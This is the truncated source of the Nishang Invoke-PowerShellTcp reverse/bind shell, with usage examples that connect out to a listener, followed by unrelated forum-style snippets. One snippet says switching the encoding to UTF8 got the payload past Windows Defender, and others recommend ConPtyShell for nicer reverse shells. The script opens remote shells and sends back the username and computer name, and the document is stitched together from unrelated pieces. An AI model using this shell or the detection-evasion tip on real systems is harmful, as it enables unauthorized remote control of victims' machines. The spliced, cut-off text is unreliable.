function Invoke-PowerShellTcp { <# .SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang #> [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation.

Discrepancies in detecting obfuscated payloads by Windows Defender?
After that I expanded my research and tried a payload from GitHub user samratashok and followed this Guide in which only the text encoding method is altered from ASCII to UTF8. And guess what? It actually worked, Windows Defender does not detect it!

Powershell doesn't work in my netcat reverse shell
The console/tty support in Windows is not....great. This has only been changing in recent Windows 10 versions. You can run into issues a lot if whatever app you are running does more than basic i/o. One thing you may want to try out is ConPtyShell. It will let you create a much nicer reverse shell experience on newer Windows 10 targets.

Tips for Windows fully interactive shell
For the longest time, the Windows console just...wasn't very good. It didn't have the kind of PTY support that Linux, etc. had. This has changed in more recent versions of Windows 10, as part of WSL improvements. There is at least one package, ConPtyShell, that takes advantage of this for bind/reverse shell use. Other than that, there is not a whole lot else.
